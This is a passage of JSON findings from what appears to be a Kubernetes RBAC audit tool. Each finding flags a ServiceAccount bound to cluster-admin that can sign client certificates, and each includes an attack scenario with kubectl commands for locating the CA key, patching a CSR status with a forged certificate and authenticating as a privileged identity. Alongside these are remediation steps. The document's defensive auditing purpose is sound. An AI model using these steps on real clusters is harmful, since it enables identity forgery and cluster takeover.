        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-024:ServiceAccount/cert-manager/cert-manager::*",
    "rule_id": "KUBE-PRIVESC-024",
    "severity": "CRITICAL",
    "score": 9.6,
    "category": "privilege_escalation",
    "title": "Signer control: `ServiceAccount/cert-manager/cert-manager` can sign client certificates for `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown`",
    "description": "Subject ServiceAccount/cert-manager/cert-manager holds the `sign` verb on the `signers` resource covering `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin`) together with `update/patch` on `certificatesigningrequests/status` (via ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin`). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the `sign` verb when a status write populates `status.certificate`.\n\nWhere `KUBE-PRIVESC-011` asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no `create`, no `/approval`, and no approver identity is involved anywhere in the chain.\n\nWhat that yields is any identity in the cluster: the `kubernetes.io/kube-apiserver-client` signer places no restriction on the Subject DN beyond the `system:masters` Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (`system:serviceaccount:kube-system:\u003csa\u003e`) or a control-plane user is issued without challenge.\n\nOne condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's `--client-ca-file`. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: `signers` is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster"
    },
    "impact": "Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the grant with `kubectl auth can-i --list --as=system:serviceaccount:cert-manager:cert-manager | grep -E 'signers|certificatesigningrequests/status'`.",
      "They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (`kubectl get pod -o yaml | grep -A5 -i 'ca\\|tls\\|signer'`), or the controller-manager's `/etc/kubernetes/pki/ca.key` if the workload runs on a control-plane node.",
      "They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or `system:node:\u003cname\u003e` for the kubelet signers).",
      "They sign it with the CA key and write the result back themselves: `kubectl patch csr \u003cname\u003e --subresource=status --type=merge -p '{\"status\":{\"certificate\":\"\u003cbase64 PEM\u003e\"}}'`. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold `sign` on that signerName.",
      "They authenticate with the issued cert: `kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami` returns the forged identity."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-deputy-cm-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Reserve `sign` on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope `resourceNames` to the one signerName it handles (never `kubernetes.io/kube-apiserver-client`, never a `kubernetes.io/*` or `*/*` wildcard) and run it as a dedicated identity with no other permissions.",
    "remediation_steps": [
      "Find every grant of the verb: `kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?==\"signers\") and ((.verbs[]?==\"sign\") or (.verbs[]?==\"*\"))) | {name: .metadata.name, rules}'`.",
      "Remove the `sign` grant from ServiceAccount/cert-manager/cert-manager, or scope it with `resourceNames` to a custom signerName (`example.com/my-signer`) whose CA is NOT in the apiserver's `--client-ca-file`. A cert from a CA the apiserver does not trust as a client CA authenticates no one.",
      "Drop `update`/`patch` on `certificatesigningrequests/status` from any identity that is not a signer controller: without the status write, the `sign` verb issues nothing.",
      "Confirm the apiserver's `--client-ca-file` bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.",
      "Audit what was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate` (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).",
      "Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — CSR: signer authorization (`sign` on `signers`)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization"
      },
      {
        "title": "Kubernetes — CSR: signers and their trust distribution",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateSigning",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-024:ServiceAccount/cutres/cutres-detour::*",
    "rule_id": "KUBE-PRIVESC-024",
    "severity": "CRITICAL",
    "score": 9.6,
    "category": "privilege_escalation",
    "title": "Signer control: `ServiceAccount/cutres/cutres-detour` can sign client certificates for `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown`",
    "description": "Subject ServiceAccount/cutres/cutres-detour holds the `sign` verb on the `signers` resource covering `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin`) together with `update/patch` on `certificatesigningrequests/status` (via ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin`). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the `sign` verb when a status write populates `status.certificate`.\n\nWhere `KUBE-PRIVESC-011` asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no `create`, no `/approval`, and no approver identity is involved anywhere in the chain.\n\nWhat that yields is any identity in the cluster: the `kubernetes.io/kube-apiserver-client` signer places no restriction on the Subject DN beyond the `system:masters` Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (`system:serviceaccount:kube-system:\u003csa\u003e`) or a control-plane user is issued without challenge.\n\nOne condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's `--client-ca-file`. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: `signers` is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster"
    },
    "impact": "Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the grant with `kubectl auth can-i --list --as=system:serviceaccount:cutres:cutres-detour | grep -E 'signers|certificatesigningrequests/status'`.",
      "They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (`kubectl get pod -o yaml | grep -A5 -i 'ca\\|tls\\|signer'`), or the controller-manager's `/etc/kubernetes/pki/ca.key` if the workload runs on a control-plane node.",
      "They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or `system:node:\u003cname\u003e` for the kubelet signers).",
      "They sign it with the CA key and write the result back themselves: `kubectl patch csr \u003cname\u003e --subresource=status --type=merge -p '{\"status\":{\"certificate\":\"\u003cbase64 PEM\u003e\"}}'`. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold `sign` on that signerName.",
      "They authenticate with the issued cert: `kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami` returns the forged identity."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-detour-direct",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Reserve `sign` on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope `resourceNames` to the one signerName it handles (never `kubernetes.io/kube-apiserver-client`, never a `kubernetes.io/*` or `*/*` wildcard) and run it as a dedicated identity with no other permissions.",
    "remediation_steps": [
      "Find every grant of the verb: `kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?==\"signers\") and ((.verbs[]?==\"sign\") or (.verbs[]?==\"*\"))) | {name: .metadata.name, rules}'`.",
      "Remove the `sign` grant from ServiceAccount/cutres/cutres-detour, or scope it with `resourceNames` to a custom signerName (`example.com/my-signer`) whose CA is NOT in the apiserver's `--client-ca-file`. A cert from a CA the apiserver does not trust as a client CA authenticates no one.",
      "Drop `update`/`patch` on `certificatesigningrequests/status` from any identity that is not a signer controller: without the status write, the `sign` verb issues nothing.",
      "Confirm the apiserver's `--client-ca-file` bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.",
      "Audit what was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate` (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).",
      "Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — CSR: signer authorization (`sign` on `signers`)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization"
      },
      {
        "title": "Kubernetes — CSR: signers and their trust distribution",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateSigning",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-024:ServiceAccount/cutres/cutres-parallel::*",
    "rule_id": "KUBE-PRIVESC-024",
    "severity": "CRITICAL",
    "score": 9.6,
    "category": "privilege_escalation",
    "title": "Signer control: `ServiceAccount/cutres/cutres-parallel` can sign client certificates for `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown`",
    "description": "Subject ServiceAccount/cutres/cutres-parallel holds the `sign` verb on the `signers` resource covering `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin`) together with `update/patch` on `certificatesigningrequests/status` (via ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin`). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the `sign` verb when a status write populates `status.certificate`.\n\nWhere `KUBE-PRIVESC-011` asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no `create`, no `/approval`, and no approver identity is involved anywhere in the chain.\n\nWhat that yields is any identity in the cluster: the `kubernetes.io/kube-apiserver-client` signer places no restriction on the Subject DN beyond the `system:masters` Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (`system:serviceaccount:kube-system:\u003csa\u003e`) or a control-plane user is issued without challenge.\n\nOne condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's `--client-ca-file`. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: `signers` is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster"
    },
    "impact": "Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the grant with `kubectl auth can-i --list --as=system:serviceaccount:cutres:cutres-parallel | grep -E 'signers|certificatesigningrequests/status'`.",
      "They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (`kubectl get pod -o yaml | grep -A5 -i 'ca\\|tls\\|signer'`), or the controller-manager's `/etc/kubernetes/pki/ca.key` if the workload runs on a control-plane node.",
      "They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or `system:node:\u003cname\u003e` for the kubelet signers).",
      "They sign it with the CA key and write the result back themselves: `kubectl patch csr \u003cname\u003e --subresource=status --type=merge -p '{\"status\":{\"certificate\":\"\u003cbase64 PEM\u003e\"}}'`. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold `sign` on that signerName.",
      "They authenticate with the issued cert: `kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami` returns the forged identity."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-parallel-a",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Reserve `sign` on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope `resourceNames` to the one signerName it handles (never `kubernetes.io/kube-apiserver-client`, never a `kubernetes.io/*` or `*/*` wildcard) and run it as a dedicated identity with no other permissions.",
    "remediation_steps": [
      "Find every grant of the verb: `kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?==\"signers\") and ((.verbs[]?==\"sign\") or (.verbs[]?==\"*\"))) | {name: .metadata.name, rules}'`.",
      "Remove the `sign` grant from ServiceAccount/cutres/cutres-parallel, or scope it with `resourceNames` to a custom signerName (`example.com/my-signer`) whose CA is NOT in the apiserver's `--client-ca-file`. A cert from a CA the apiserver does not trust as a client CA authenticates no one.",
      "Drop `update`/`patch` on `certificatesigningrequests/status` from any identity that is not a signer controller: without the status write, the `sign` verb issues nothing.",
      "Confirm the apiserver's `--client-ca-file` bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.",
      "Audit what was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate` (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).",
      "Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — CSR: signer authorization (`sign` on `signers`)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization"
      },
      {
        "title": "Kubernetes — CSR: signers and their trust distribution",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateSigning",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-024:ServiceAccount/deepchain-tenant/deepchain-privileged::*",
    "rule_id": "KUBE-PRIVESC-024",
    "severity": "CRITICAL",
    "score": 9.6,
    "category": "privilege_escalation",
    "title": "Signer control: `ServiceAccount/deepchain-tenant/deepchain-privileged` can sign client certificates for `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown`",
    "description": "Subject ServiceAccount/deepchain-tenant/deepchain-privileged holds the `sign` verb on the `signers` resource covering `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin`) together with `update/patch` on `certificatesigningrequests/status` (via ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin`). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the `sign` verb when a status write populates `status.certificate`.\n\nWhere `KUBE-PRIVESC-011` asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no `create`, no `/approval`, and no approver identity is involved anywhere in the chain.\n\nWhat that yields is any identity in the cluster: the `kubernetes.io/kube-apiserver-client` signer places no restriction on the Subject DN beyond the `system:masters` Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (`system:serviceaccount:kube-system:\u003csa\u003e`) or a control-plane user is issued without challenge.\n\nOne condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's `--client-ca-file`. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: `signers` is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster"
    },
    "impact": "Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the grant with `kubectl auth can-i --list --as=system:serviceaccount:deepchain-tenant:deepchain-privileged | grep -E 'signers|certificatesigningrequests/status'`.",
      "They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (`kubectl get pod -o yaml | grep -A5 -i 'ca\\|tls\\|signer'`), or the controller-manager's `/etc/kubernetes/pki/ca.key` if the workload runs on a control-plane node.",
      "They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or `system:node:\u003cname\u003e` for the kubelet signers).",
      "They sign it with the CA key and write the result back themselves: `kubectl patch csr \u003cname\u003e --subresource=status --type=merge -p '{\"status\":{\"certificate\":\"\u003cbase64 PEM\u003e\"}}'`. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold `sign` on that signerName.",
      "They authenticate with the issued cert: `kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami` returns the forged identity."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-privileged",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Reserve `sign` on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope `resourceNames` to the one signerName it handles (never `kubernetes.io/kube-apiserver-client`, never a `kubernetes.io/*` or `*/*` wildcard) and run it as a dedicated identity with no other permissions.",
    "remediation_steps": [
      "Find every grant of the verb: `kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?==\"signers\") and ((.verbs[]?==\"sign\") or (.verbs[]?==\"*\"))) | {name: .metadata.name, rules}'`.",
      "Remove the `sign` grant from ServiceAccount/deepchain-tenant/deepchain-privileged, or scope it with `resourceNames` to a custom signerName (`example.com/my-signer`) whose CA is NOT in the apiserver's `--client-ca-file`. A cert from a CA the apiserver does not trust as a client CA authenticates no one.",
      "Drop `update`/`patch` on `certificatesigningrequests/status` from any identity that is not a signer controller: without the status write, the `sign` verb issues nothing.",
      "Confirm the apiserver's `--client-ca-file` bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.",
      "Audit what was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate` (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).",
      "Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — CSR: signer authorization (`sign` on `signers`)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization"
      },
      {
        "title": "Kubernetes — CSR: signers and their trust distribution",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateSigning",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-024:ServiceAccount/flux-system/kustomize-controller::*",
    "rule_id": "KUBE-PRIVESC-024",
    "severity": "CRITICAL",
    "score": 9.6,
    "category": "privilege_escalation",
